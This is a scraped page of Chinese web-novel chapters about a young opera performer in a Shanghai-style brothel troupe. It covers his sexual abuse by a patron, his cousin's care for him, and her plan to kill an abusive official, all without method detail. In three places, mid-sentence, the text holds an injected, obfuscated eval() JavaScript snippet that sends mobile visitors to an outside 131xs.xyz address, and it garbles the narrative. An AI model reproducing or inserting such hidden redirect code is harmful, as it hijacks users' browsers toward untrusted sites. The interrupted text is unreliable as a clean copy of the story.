直到子夜叹尽,天光微亮。 ------ 下一章预警:麦是真麦,第一卷及以后也有相关具体描写。有相关具体描写。有相关具体描写。 不能接受的请及时退出。请及时退出。请及时退出。尊重你我她。 13章作话有预警,此章也在正文设置预警,之后被创作者不负任何责任。作者玻璃心,看到打击创作积极性的评论会直接删除。 17. 拾陆 红藕香残 虚孱的雨,昨夜便已泣尽了,换得今日天光大盛。 周莲泱一个人在太阳里立着。太阳甚大,秋老虎的热劲未过,换了一身更厚重的戏服,就这么站了一会,便觉得额前微有汗意。手里端着的果子露,也在瓷瓶外渗出丝丝水汽。 金秋十月,菊花盛开,点缀在假山周围,看上去花繁似锦,叶碧如染。这待客的酒楼,在菊花的映衬下,倒很有几分雅致。 菊花与人俱在影中,室内琵琶叮咚,歌声缭绕耳际。他不便再等,端着酒,轻撩衣摆,踏入房门。 房间里,伯赏元已点了一桌好菜:清蒸大闸蟹,青背白肚,配上乘黄酒;青鱼秃肺,余下做红烧甩水,拌雪白新米饭;虾子大乌参,浇以河虾子与红高汤卤——顶考验选料烹调的本帮菜[1]。 见人进来,伯赏元轻捻山羊胡,呵呵笑道:“雀儿来得正好,我前日听老正兴的包厨王荐得这道大乌参,今日便有口福。过来坐,吃一碗,对身子好。” 雀儿…… 每次听这花名从买了自己之人口中说出,周莲泱都要打个寒噤。 不过转瞬,周莲泱面上已恢复待客的容态,闻言浅笑,坐至伯赏元身旁,口里应着,抬腕先夹一只蟹,熟练地拆腿开膛,为他先剥一碗。 再顾陪客,一人盛一份,全伺候妥当,才用乌参浅浅沾唇——玉关柳早就嘱咐过,若夜里待客,最好一日不尽粒米,对客人好,也为自己好。 为了客人…… 沉沉冷冷的眸光扫过腰带处佩的伪玉,与己之相像,令他蓦然一笑。 伯赏元因他一通周到服务,心情极好,捋须卖弄起对名菜名吃的了解。陪客自然捧场,夸赞伯见识广博,听其一言,学得颇多。一时包厢中全是男人粗哑的开声大笑。 伯赏元本来是“马快”出身,拜入青帮,后成为公租界一巡捕捕头。他幼年读了几年私塾,自诩翩翩浊世佳公子,衣冠要整洁,谈吐要温文,最喜旁人捧他与青皮、“灰窝”一类不同。 他肚子里有点文化,酷爱听戏,女/票伎玩/倡自然也要选顶头雅伎,平日只去“书寓”,外出专请“长三”作陪。听闻美租界新开一“泰春班”,寻常一少伶,风姿都堪比夺首花魁,自然不胜欢喜[2]。 那老鸨班头心思多,教他苦等一月,终于能赏一赏自己这千金抛费,是否值当。 酒过三巡,屋前两个伶人咿咿呀呀地唱着,鼓萧笙的人也吹弄得越来越急。一人吹笛,一人摇起月琴弦子,戏演到浓时,却被伯赏元阻了一阻,骤然停止。 “难听,当真难听。” 他晃着头,陪坐的人也爱看戏,自然知道这酒楼请的小伶称不上好。一通喝倒彩,隔着一层粉,也能看到唱戏人脸上窘得忽青忽白。 伯赏元往旁边一瞧,就瞧见垂着颈子为他斟酒的“金腰雀”。即使之后唱戏,他也只是淡妆素抹,却仍一副好颜色。 一身血红,映得他雪色的皮肤似同羊脂。凝眸一笑,杏眼微波,不输女魁的艳,还多三分少年青涩的苍俊。 他本就荤素不忌,除花魁伎女外,“契兄弟”也结了不少。相较之下,比起娇弱女人,还是男人搞起来痛快。只是他想不到,竟然能在一新戏园里,碰上一个集二者之精华的尤物。 当真是…… 下腹火蹿三寸,伯赏元一口饮干杯中酒:“雀儿,上去唱,给她们开开眼。” 台上伶人自知自己是作陪的花衬,当即跪倒连声致歉,其中一年长的女伶下台,双手扶着周莲泱,曼声尊他上场。 周莲泱说笑着,半推半就地上了台,对鼓丝竹的一礼:“那雀儿便献丑了。” 苏三起解本来是一副哀怒之戏,要连唱十大恨,唱得六月飞雪、万人齐哭。可伯赏元要的,自然不是这样激起义愤的东西。 少年开嗓,起腔哀怨,唱着唱着,忽然甩起水袖,眼波流转,竟将申冤的歌伎,演出一副放/荡的媚态。 提足,下腰,从台上踱至台下,半睁的黑眸子满出滟滟的崇敬,伯赏元仿佛就是青天再青天的大老爷,能开解普渡一切苦难。 他唱着唱着,身姿越转越快,骤然翻身倒地,跪伏在伯赏元面前。 “求大人开恩……” 周莲泱双膝跪地,声线颤抖。 他像是对临头的死刑怕极了,也唱得累极了、倦极了。无需抬脸,只听声音,都能想象到苏三的艳容殊色上,该是怎样泪珠涟涟。 伯赏元用折扇抬起他的脸。 周莲泱眸中含泪。他的眼里浸着一种属于柔弱者绝望的恨,一种只能独自凄苦哀怨、伤害不了别人的恨[3]。 格外令人同情唏嘘。 也加倍让人想撕开这种恨,让他的惨更惨,迫害得更迫害,将这份柔弱,碾进泥泞里去。 这申冤之人,看似凄苦,实则都是他自找的,不然为何,走在刑场的路上,还穿着这样一身勾人的红衣、摇晃着折柳一样的纤腰呢? 唱歌的乐伎,陪客的几人,早不知不觉离开了。 伯赏元握住他的腰,撕开了那身勾得他神移魂荡的血衣。 周莲泱闭上双眼。 他嘴里仍然哼着,低吟着,从有词句的唱腔,慢慢转变成一种如泣如诉的婉音,唱得伯赏元通身酥,遍体麻。 伯赏元渐渐寻出一种别样的趣味,摁着捻着,在他身上点起戏来。 那身光鲜新作的戏服,被慢慢揉得又破又脏。 周莲泱由哭转笑,笑得更厉害,也哭得更厉害。 达到一个绝不能忍的顶点时,反手搂住第一位恩/客的肩,用至清绝异的美,风情地吟唱起来。 ---------------- 月上中天。 周莲泱一抬眼望见雕花大床上的罗帐银钩,案儿上青花瓷瓶,自鸣座钟;屋内翰墨书橱,瑶琴琵琶。一时恍惚,恍然置身昔日卧房。 只是他身上是那样的痛,仿佛筋骨被彻底揉碎了、碾烂了,后腰一处疼得快没了知觉。 抬起手臂,满是不堪看的青紫。 他起身,灌进一壶冷茶。饥馑的腹骤然痉/挛起来,他竟是有些漠然地忽略了,披上一间中衣,想去汲水。 眼前一片昏黑。周莲泱把住八仙桌的桌沿,按着腹部,牙缝里迸出两个字。 “废物。” 门吱呀一声旋开了。湿的布巾,热腾腾的白粥,还有澄黑的药汤被递过来。周莲泱垂着头好一会,道:“你几时这么体贴了?” “你不吃东西就要沐浴,会晕死的。” 传入耳中的不是钟铭的声音。周莲泱抬起头,这熟悉又陌生的声音,倒令他惘然了。手猛地拢紧衣襟,嘴唇嗫嚅半晌,才问:“……你不该在这里。” “我不在这,又该谁在这?”乔璃看进他眼里,眼睛像含了化水的冰块,冷冷的,又雾重重,“你躲了我三日。” 从好端端行正坐直的人,变为一只雀儿、一只被握在手里品评的物件,已三日了吗? 周莲泱身形晃了晃,抓着领口的手扣得更紧,就像捂着正在喷涌鲜血的伤口。 “水已烧好了,我帮你洗,伤口还要擦药,按摩。”乔璃叹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615137|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气,绕过去想牵他的手,“先喝粥。” 周莲泱猛地后退一步,躲开她的手,眼睛像葡萄酒色的泥浆,翻涌着不知名的情绪,像上了发条的木偶,乔璃让他做什么,他就做什么。 白粥温暖了胃肠,恢复些许气力。泡进水中,密密麻麻的刺骨之感也未让他发出一声。 乔璃取了自制的药皂,涂抹在他脖颈后背的痕迹处。周莲泱静静地坐在水里,无精打采地茫然着。 直到她要他抬起身体,手指摸索着探向早已失去知觉的隐秘处,他才打了个冷战,大梦初醒一般看着她:“囡儿?” 她前额满布细汗,袖子挽到肩膀处,洗澡水湿了衣摆:“表哥,你这样我没法处理,还是先擦干,去床上吧。” 他“哗啦”一声站起来,逃也似地跳出木桶,脚下一绊,整个人摔倒在耳房冰凉的泥地上。他双腿胡乱地踢蹬着,抓一件湿透的中衣蜷进去,像受惊的马驹一样凄惨地哀嚎起来,湿淋淋的,想要爬走。 痛苦席卷了他的面容,周莲泱跪在地上,腹内一阵扭曲的翻腾,迫使他把吃进去的白粥全部吐了出来。 直到食物残渣吐完,反胃感依旧无法褪去,他像是要把内脏都呕出来,直到只剩泛黄的酸水。 乔璃茫然地看着他,不明白他为什么突然这么大反应:“表哥?” “别过来!”他惨叫一声,“别……别过来,你走……你走啊,别看我,别看我!” “你疼吗?不舒服?哪里痛?”乔璃焦急起来,“白粥吃不下,我去给你煮别的,表哥想吃什么?不吃是不行的,伯赏元买了你这一段时间,他下手不轻,表哥不吃饭,身体会搞坏的!” “啊啊啊!” 周莲泱捂住双耳,像被踩断了脊骨的野兽,瘫软在地,剧烈颤抖。 乔璃不明所以,又不能让他在冰凉的地上打滚,只好扑过去抱住他。谁料周莲泱挣扎得更厉害,猝不及防,手在灶台边缘擦过,撕开一道狭长的裂口。 铁锈味道的血让周莲泱安静下来,表情呆滞而痛苦,他想说什么,却被微有些气急败坏的乔璃抓住下巴,往她身前扣去。 她半跪在满地狼藉中,抓住他,如同老练而精明的猎手,把他整个人抱在怀里。 周莲泱沉重地喘息着,神情惊惶如悬崖边飞逃的牡鹿,仿佛被烫伤一般不停打着摆子。 “表哥,不能不吃饭。”乔璃抱着他,条理分明地跟他解释,“我知道你难受,所以表哥想吃什么,我都叫人去做。鸡蛋羹怎么样?打三个鸡蛋,细细搅了,筛去浮沫,蒸出来淋酱油与麻油。表哥从前最喜欢了,好不好?” 她的手还在流血,裙摆浸泡于肮脏的水中,怀里抱着比低贱更低贱、脏淫更脏淫的东西。两人的眼睛高度一样,周莲泱什么都未听进去,只是畏缩地看着她的眼睛,试图从里面寻出一丝一点的厌憎、鄙夷和嫌恶。 周莲泱试图从她眼里找出一点什么。 他找到比自己稍高一点的体温,暖着他;找到他喜欢的药的清苦;找到乔璃盘乱了的发梢贴着脖颈;找到呼吸,心跳,掌心的安抚…… 他慢慢软进她怀里,脊背还在不受控地瑟瑟发抖:“囡儿,我疼……很饿,后面疼……” “我知道,表哥,我知道……”乔璃抱着他,心里难受极了。“之前腰伤都没这样,我制了新的药,像麻沸散一般,涂了便不痛。表哥,这次我照顾你……” 乔璃有点疲累地呼吸着,抱着他絮絮。 周莲泱注视着她,应着,拿染着泪的面颊轻蹭她的脸,换得落于眉心唇角的吻。 18. 拾柒 有情难绝 自那日后,乔璃觉得周莲泱仿佛打开了什么开关一样,分外……腻人。 深宵静夜,他把一身揉乱的戏服剥下来。膝盖是瘫软的,眼睛也是瘫软的,闪烁不定,清莹透明,眼角渗出动/情的深粉色。 乔璃把戏服配饰一件一件拾掇好,扶他洗浴。泛着粉的水眸便勾子似的落她身上,鹿一样,黑白分明的纯粹。 泡在加了药的热水里,他便化了一样,烟气花气浊气,与莹白夹靡红的肤肉一道溶进水里。 两只胳臂搭在木桶边沿,尖削的下巴叠上去,一只手往前伸在灼热的空气里,轻轻摇晃着,口里也轻轻唱着:“那日间,停刺绣,把此情穷究……” 乔璃将他披乱的发粗粗绾起,用绞过水的薄巾子,揩去积在脖颈处的水珠。 几线狰狞肿胀的青痕,横在背脊,就那么大喇喇暴露在天光下。封凝的血痂,被热水一泡,就凶猛地撕开了。 她没有说话,只是用指尖描着那些鞭痕的轮廓,微风一般柔柔拂过,再用眼睛一一刻在心底。 “囡儿,我疼呢……” 周莲泱低泣着,抱住她的肩,踉踉跄跄走回阁楼,坐于床榻。 这是两个人共有的床榻。在旁人床上睡久,这小小的桃花源,对他而言已陌生了。他自顾自去抚摸两人的枕头。 表妹往日睡着睡着,总要移过来,去枕他的,慢慢往下滑,依着他的肩膀。可他的肩膀并不可靠——并不可靠啊,留她一人独眠…… “表哥。” 她的吐息在背后轻拂:“给你涂药了,痛就和我说。” 他并没有说什么。指攥在床单上,兀自忍着,忍出满头细汗,嘴角的裂处,也被噙出血丝。 乔璃的手不知何时抚到他下颌,拇指擦过嘴角,将血丝揩去。 “叫你别忍着。” 她声音发哑。 胸背脊骨,隐秘暗处,鼓胀激烈的痛,周莲泱并不在乎。他软声恳求,只要她转到自己面前。 乔璃药擦了一半,听到他这么说话,不能不顺从他的意愿。 青年抬起脸,唇角是扬的,眼睛也是弯的,里面隐露出一点惨淡的笑意和惊讶:“……囡儿什么时候长这么高了?” 如果不是靠着她肩膀走上楼,恍惚还是初见时的总角模样。 乔璃忍不住叹了口气:“我本就长得比表哥快。” 手指被牵了一下,他将五指绕进她的五指,沉甸甸地相扣着。人也如一条还在滴水、又软又冷的蟒蛇,一点一点攀进她的胸口,脸颊靠着厮磨:“……我疼,你哄哄我。” “……涂完药便不疼,表哥不让我涂。” 这么一句话出来,回应她的就是海棠垂露般的嗔怨了。 乔璃无奈,手扣着他的手,将人拢进怀里。另一只手摩挲他的背——微微弓起,又清瘦三分的后背,缓缓安慰着。 她觉得自己近日总在叹气。眼睛垂下来瞧他,周莲泱依着她胸口,长睫扑闪,也在看她。 与其说是看她,不如说是在寻找,这样寻觅似的神情,她已在他脸上看见许多次。 表哥在寻觅什么呢?乔璃不解,好似也不便问,因为没找到,周莲泱反而开心。开心——也更腻人,更缠人,好像流亡入戏班后强撑起的坚强架子被捶散了,才恍然记起,他本是个能在家人面前撒娇弄痴的贵少爷。 他要她照顾,要吻,要哄一哄,做完这一套,才肯安心休息。 “……囡儿别嫌我烦。” 他忽然转出这么一句,空的那只手盘上她的后背,微哑沙涩的嗓子,似又含了哭腔。 “我不会嫌表哥烦。”乔璃揉了一下他的后背,就仿佛抽掉一根脊骨一样,令人伏进肩头轻蹭。不知怎么,那儿慢慢浸出一点湿意。 “表哥……”她转头,无奈道,“先把药涂完再哭,好不好?” “我只是想说……” “想说什么?” “幸好是我,不是囡儿。” 他抬起脸,虽然在流泪,唇角却是上扬的:“表面虽看不出来,但囡儿比我心高气傲得多。乱世坎坷,女子多沦陷此道方能求生,也沉于囹圄无日解脱……幸好……幸好是我,不是你。表妹干干净净的,我就幸福。” 阁楼一时阒然无声。 乔璃抬头,下意识依靠屋内熟悉的一切:堆满晒干的药草、木杵、药臼,用于实验的小小桌台。这儿是不同于泰春班浮华的幽净,充满乔璃自己、深厚而惯默的稳定。 但是这稳定,被周莲泱一句话,彻底打碎。 一种深发的波荡,将心脏震得紧紧收缩,波荡如同地龙翻身,将新装的电灯光亮摇撼成碎裂的琥珀色狂澜,朝四肢百骸蔓延开去。 她知道自己胸腔中这一颗人心,天生便比旁人缺少一处“情”的关窍,仿若冷硬的顽石,冷眼旁观世情波折。既不理解旁人,也不顾惜自己,亲眷的漠视与死亡,也不能让枯井搅起半分波澜。 可现在…… 乔璃心底深处突然产生了一种深深的恐惧。 像盘旋在天上、从未被束缚,也不可能被束缚的风,突然被拽落地面。 苍鹰生了担忧,摔进土里,再不能腾飞,就是会这样恐惧的。 但这深黑深黑的恐惧里,竟然也藏着一点别样而陌生、奇美而浓异的甘甜。 乔璃慢慢、慢慢把额头抵住周莲泱的额头,眼角也沁出一点清光:“真傻。” “傻哥哥。” ------------------------------------------------------ 敲门声传来时,周莲泱还迷迷糊糊的,老虎窗外透进渐次泛白的黎明时分的天宇[1]和清冷的晨气,以及未尽的桂子幽香。 他支起胳膊,另一只手揪着被子,眼里含着些昏昏欲睡:“囡儿,是谁啊?” 乔璃已穿戴整齐,披一件半新不旧的雪青袄子,圾着拖鞋去开门。 门外是柴凌翠,泰春班当家花旦之一。她素日穿一身女学生似的翠蓝竹布衫,今日却着一身黑,微微佝偻着身子,手抄在马甲里:“……劳驾,让我进去说话。” 她拖着木屐,踢踏踢踏地进来,着一张旧美人榻上坐了,自己倒了杯冷茶,颤抖地叹口气。 周莲泱起来,定睛一看,才发现她半张脸都青紫的,一块淤肿的血块团在眼皮上,将整只左眼压没了形。 柴凌翠差不多两年前入的戏班,从前也是江宁歌女,极擅交际,进班很快唱出名,鲜少见她如此狼狈。 当她扯开衣襟,露出更多、更残酷的凌/虐痕迹时,周莲泱也惊得“啊”了一声:“这……谁将翠姊打成这样?” 她当荤角,靠得就是一身白俏的好皮子,还有深目削颊的美人面,很难想象有人狠得下心,这样辣手摧花。 柴凌翠耸了耸肩冷笑道:“还不是那根‘老辫子’?” “老辫子”原本值得是新国成立后仍未剪发辫的顽民,在柴凌翠嘴里,又多一层身份——新国革命时两江总督手下数侵江宁的“辫子军”中人。 那是一支杀人放火无所不为的强盗军,旧朝咽气时,该军在江宁无所不为,占据一城,就“三天不封刀”,奸/淫与抢劫,兽畜比之不及。 她的气声儿不对,说着说着,按着肚腹,作势欲呕。但她胃袋里什么都没有,吐也吐不出,反倒冲得喉咙嘶哑酸涩:“……我当时就是不愿投水自杀,才挣扎到海市这边,如今又要伺候他……” 柴凌翠近日的大恩客之一,就是前辫军参谋、如今在海市做了警备分厅厅长的胡小望,被这样一位恶客包下,柴凌翠几日来当真是求生不得求死不能,偏玉关柳定指她好生招待。 毕竟做她们这一行的,万不能得罪警备厅。 “那牲口兴致上来,我……怎堪被当个人看?” 柴凌翠攥着帕子抹眼泪,物伤其类,周莲泱便道:“我们有什么能为翠姐做?” 女人瞟他一眼,嘴里喃喃哭着,又露出一点羡慕的眸光:“你……你什么都不知道,是不是?她将你瞒得这样好……” “翠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615138|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姊。”一旁静听的乔璃切出一只手,挡在二人面前,“我未瞒表哥,只想等一切尘埃落定再与他细讲。” “我知道,我知道,你与玉关柳也是这么说的罢……那个杂种贱胚,分这么一头牲口给我,又是警备厅厅长,我哪里想得到办法……” 柴凌翠捂住脸,呜呜痛哭,拖长的哀嚎不似人声,倒像受伤的野狼,齿间满是溢出的仇恨血腥。 周莲泱听得不清楚,只道,表妹瞒了我什么?和柴凌翠的客人又有什么关系? 他往不好的方向去想,浑身战栗起来,被放大的恐惧如洪水猛兽,几乎彻骨。 乔璃一把搂住他的肩膀,唇附他耳旁:“表哥,别瞎猜,无论你在想什么,都不是对的。” “那是什么,那是什么?”周莲泱把住她的手,眸光慌乱地摇动着,恐惧冻在脸上,让五官都扭曲了。 “我计划让胡小望死。”乔璃道。 什么? 周莲泱呆了一会,柴凌翠已在和乔璃确认什么事。两人声音很低,他依稀听见“虾子乌参,时令海鲜”、“骑马”和“多动”几字。 听不懂,也想不明白,周莲泱本能地有一层担心:“表妹要做什么,我不问,只一件事:若他死了,就不会有人猜到你动手么?” 乔璃轻轻摸了摸他的脸,微微笑道:“自然要用谁都牵扯不到的法子。” 柴凌翠面色复杂,眼神在对面两人间逡巡片刻,拧帕子道:“这法子如此简单,我怕……” “先试试,不成还有别的选择。” “你……若是真成了,我欠你一个大人情。” 女人眼里迸出两股刻骨怨毒的快意:若是真成了……她也算报仇了。 周莲泱瞧着与平日完全不一样的柴凌翠,不觉打了个寒噤,往乔璃怀里更靠了靠。柴凌翠回神,心道好笑,又物伤其类,哀道:“你们……这样,玉关柳那贱种定看不下去的。她自己过的不好,就和那地狱里的王母似的,见一对、拆一对。我往年与小楼,就是被这么拆散的。” 小楼…… 她想到那个绸缎庄的伙计,想到他年轻健壮的身躯、赤诚的眼,滚下来两行泪珠。过去已成为遥远的回忆,却冰凉的,凉得入骨。 “他说他要赎我,我却辜负了他。希望你们……”柴凌翠勉强组织语言,“你们不要上了玉关柳的当。” 乔璃冷笑一声。 这恐怕还是周莲泱第一次听见她冷笑呢,稀奇地看过去,被她的手搂住脖颈,按在肩头。 “我是不理她的,表哥信我,管她出什么招,都和我们没关系。” 人前,她怎么也这样做……周莲泱不由红了脸,可也没挣开。依着她便罢了。 乔璃自己觉得自己绝不会掉入谁的陷阱。 这些日,柴凌翠、戏班中人,甬明帮会,样样都要顾到,还要调查一些很久远的过去。她想着玉关柳这个人,想着终于把她从迷雾般的神秘面纱中揪出来,心里忽然就兴奋地激荡起来。 乔璃分身乏术了这一段时间,等《海市日报》上登出警备厅厅长胡小望暴死,她从严树明口中套出玉关柳过往世情后,竟然半月未怎么见到周莲泱。 他在躲她,而且这回是下定了决心躲她,见了面也只是冷漠,甚至将阁楼的物品全搬入二楼的空房间,不跟她一起睡。 看那架势,与她“恩断义绝”似也不差什么了。 周莲泱不仅冷漠,嘴里还说一些伤人又自贬的话。乔璃听听就过,但他说话时,讥诮表情下,分明是在哭。 他跟她闹了几日,恐怕就哭了几日,眼睛肿成烂桃子,装也装不像。 ——原来玉关柳狐狸似的一双眼,见她毫无破绽,就盯周莲泱去了。 她到底在想什么?有什么样的过去?为何偏喜欢破坏人的感情,使千般计策,也要拆分鸳鸯眷侣? 这些问题,乔璃并不怎么在乎,她唯一在乎的,就是玉关柳行事后的结果。 拜她所赐,乔璃又体会了平生第一着体验的情感—— 暴怒。 19. 拾捌 辗转反侧 这一年十月下旬,天气晴和,秋高气爽,太阳把梧桐焙得更熟。乍浦吴淞、沿河两岸,行人络绎于途。什么汽车马车人力车驴子,来来往往,极是热闹[1]。 周莲泱起床晨练的时候,石库门里弄外,与泰春班相熟的几辆胶皮车已停在外面了。车夫除了跑车外,又兼帮闲跑腿之用,从五里桥熟食市场买来早餐,交给提前等在门口的严雪辕。 因清、荤两角晨起时间不同,泰春班的厨娘一般不做早,多是备些点心,或差人跑腿。能劳动严雪辕的,必是玉关柳或严树明。 高瘦的女子提着早食,周莲泱鼻子尖,闻到一股桂花白糖莲心粥的香气。红洇洇的是赤豆粥,粥皮上撒黄澄澄的糖桂花,喝进胃里,又浓又稠,极熨帖。 他嗅着糖粥的味道,胃“咕噜”一声,也饿了,便想着去后厨拿几个糕饼吃,不妨被严雪辕一挡,拦在身前。 “小莲,姆妈今日同人荡马路[2],正好你旬休,要你去当陪客。” 周莲泱愣了一愣,他本来是想和乔璃一道出门去旁近的公园河滩顽,不想横道出来一件事。严雪辕似是知道他想说什么,松缓向来无甚表情的脸,试图露一个笑,可惜不太成功:“姆妈说,还要给你妹瞧女学的。” 这可不是件小事,他马上应了,严雪辕就邀他一道吃早点。 严树明早起出去办事,主屋里只有玉关柳一人,已别金戴玉、着一身织锦的衣裙,打扮完毕了。 她转过脸来招呼周莲泱坐下吃粥,笑盈盈分外可亲:“今日叫你来,不为别的,是为你妹子上学一事。我三请四托,终于找到几处合适女学。你是她表哥,独一个亲眷了,怎么也要让你知道才行。” 周莲泱坐她对面,心里有些七上八下:即使这件事说了很多遍,他还是觉得有点不真实,她,玉关柳——有这么好心么? 一旁的严雪辕不语,分母亲一碗粥,也分他一碗粥并四个生煎馒头。几碟小菜是共食的,剩下一份咸菜肉丝面、豆浆油条并四个馒头,全归严雪辕一人。 周莲泱又一恍惚:着她顿顿这么吃,每月的口粮费,可能和表妹的药也差不多了…… 玉关柳的饭桌上没有食不语的规矩,她慢慢喝粥,说些新闻闲谈,等周莲泱吃好,便道:“你也莫紧张,帮忙牵线的是熟朋女眷,陪我看几处学校,再去趟百货大楼买礼物送她,半日便回。” 周莲泱心底一松。他真是怕,若出去一趟,自己成道谢的礼物,那这顿早食是怎么都吃不下的。 用完早点,桌案自有严雪辕收拾。胶皮车等在外面,晃晃悠悠,从乍浦路晃到爱汀堡街。 若是不听玉关柳教戏,周莲泱在她旁边,倒真有点坐立难安。 其实她也并不是什么可怕的人,准日给钱,一月三休养嗓子,更不似寻常伎院老鸨那般往死里压榨荤角。但她也绝不是慈善家。想起三日前从柴凌翠身上看到的惨状,他心里一阵发寒。 “怎么了?你瞧我的模样,倒像瞧一头怪物。” 玉关柳对镜补唇脂,补了一抹秋季新拟的“柿子红”,再用珠粉擦擦眼角,嫣然一笑,当真看不出已年过三十。 经历得多了,周莲泱倒也不易被套话,虚假地挑挑嘴角,面色诚挚:“柳姨这话可吓杀我——只是这车坐得我晕乎乎不舒服,下车便好了。” 女人放下手里的胭脂盘,口气宛如轻叹:“是小翠儿同你们说什么了罢。” 周莲泱一愣,然后只觉心口一炸——她怎么,怎么能猜到? “她呀,总记着我拆散她和朱楼。” 玉关柳微微一笑:“那你为什么不问一问,我为什么要拆散她们?” 青年微怔:“……为什么?” “你知道朱楼是谁?一个绸缎庄的跑腿伙计,攒一月钱,才能见一次小翠儿的女票客罢了。若说他好,那为何来女票?兜里无钱,管不住身下二两肉,装什么情深难得。” 周莲泱半晌无话,末了道:“那也总是翠姊想要的。自朱楼与翠姊相交,他就再未瞧过别人。” “是呀,他倒真未瞧过别人。可你翠姊,你翠姊既然选择做荤角,就是因为有刻骨的恨。这恨呢,一旦夹进浓情蜜意柔肠百转,还谈什么复仇?我只是敲醒她,真正断绝关系的,是你翠姊。” “不然我一班头,又能做什么。客人花钱点人,还真能叫两人不见了?” 周莲泱一愕:“复仇?复仇又是……与那人有关?” “事关小翠儿的隐秘,我倒不便多说了。你要给小乔买药,她自然也有必做之事。我‘拆散’她,只是不想见她将售卖皮肉才赚得的物事,通通为儿女情长抛却罢了。” 玉关柳轻手轻脚拿出支香烟,不点燃,只是攥在指尖,离近了去嗅闻。 西洋的香烟,与她这样披着西湖水色蒙头纱的古典女子本不相称,可她拈着烟,自有一种别样的风情弥漫开来。 周莲泱愈来愈想不明白谁对谁错了:玉关柳的神态、动作,同她的话语一样,都搅得人惴惴不安。 玉关柳瞧他一眼,眸光中有如烟雨迷蒙,总挺得笔直的背倦倦地松怠下来,神情也是倦怠的。 “小莲儿呀,其实你信我,还是不信,对我都无多大干系。小翠儿背后说我,实在正常不过。旁人总想,这卖/春女和卖/春女身份相同,总是一道儿的吧,但多相争,构陷戕害,不一而足。贞妇呢,更瞧不起我们,恨不得把我们唾进泥里、全浸猪笼,衬自己额外纯洁干净,真同观音菩萨一般了。 她们却不知道,贞妇要变成卖/春女,不过是男人动动脑子和手的事。男人就决不会看不起女票客,可他们的清白就不是清白了么?我们女人,千百年来总是互相扯后腿,不如男人那般团结。她们都在背后说我心狠呢,殊不知,我实在是真心帮她们。” 她说的话再有道理不过。 周莲泱身子轻轻一颤,攥成拳的手忽紧忽松,突然抬起低垂的眼,一字一顿道:“旁人……我不管,旁人我不管。表妹决不会负我。我信她,无论怎样我都信她。” 他说得那样坚定,玉关柳却浅浅含笑:“唉呀,我也信,信你,信她。你们这一对儿,与我见过的都是不同。翠儿肯定说,怕我拆散你们,是也不是?” 她这么直白地说出来,周莲泱反倒不好意思,又听她轻道:“我不拆散,因为根本没必要呀。一日勾栏,终身是勾栏,小莲儿,你很快会懂的。” ------------------------------------------------------ 胶皮车行一阵,停在一处茶楼,差人传信,过一会,茶楼里便走出一个身姿微丰的年轻女子。 玉关柳口中“相熟朋友的亲眷”便是孟厚信之孙孟彩霞。周莲泱未见过她,但从乔璃口中听过只言片语,知道她是一个极有能为,又读过大学的知识人。受玉关柳请托,亲自带二人参观女学。 女子挽着一对如意髻,身上穿一套淡青烟雨的衣裙,身无赘饰,只腕上一握水头极润的玉镯,一望便见通身落落大方的聪敏气质。 孟彩霞身边也跟了一位妈妈作陪客,见玉关柳,立刻招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615139|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼道礼,又问周莲泱的身份。 玉关柳只是含糊道:“是要入学的乔璃的哥哥,在我那儿做活。” 周莲泱正有些踌躇,不知要不要接话,却见孟彩霞转来的眼睛里有一抹深愕,接着那后面的妈妈一拽她往后退,眼里迸出几分受辱之情。 “金妈不可。”孟彩霞一阻她要脱口而出的话,缓缓神情,露出一个僵硬的笑,“既然如此,也劳烦周小兄弟同我们走一道了。” 周莲泱一时不懂,还想道礼,等反应过来,脸“腾”一下红透,心脏也咚咚咚在胸腔里鼓噪起来——在窑子里呆久了,周围之人不是同行便是女票客,他一时都忘记,自己又是戏子又是男伎,是下九流中最下九流的贱种…… 他已听不清玉关柳和孟彩霞又说什么,恍恍惚惚跟着回到胶皮车里。 身上一时冷,一时热,靠着扶手,脑袋好像不会想事了,只转着过往从前读书留洋的日子。 已淡薄了,已褪色了,就像放久了的老照片。他早已不是从前的莲二爷,他是雀儿,是勾栏贱货,旁人连看他一眼,都打心眼里觉得烦恶。 胶皮车在顺着风头走,风送来一阵兰麝清香,三辆胶皮车,坐着三个十五六岁的女学生,跑过她们并肩的两辆。随风而过的,除了脂粉香气,还有一阵笑,一阵嬉闹。 路过的是上西女校,远远望去,校舍廊柱青砖相映,绿树如盖,花坛静谧,一派肃穆之景。 连周莲泱也知道,这是全租界顶好顶华贵的教会学堂,一年光学费就要百多大洋。若不是名门望族、非富即贵的学生,恐怕都进不去,所以玉关柳甚至未叫车停,不将上西女学考虑在内。 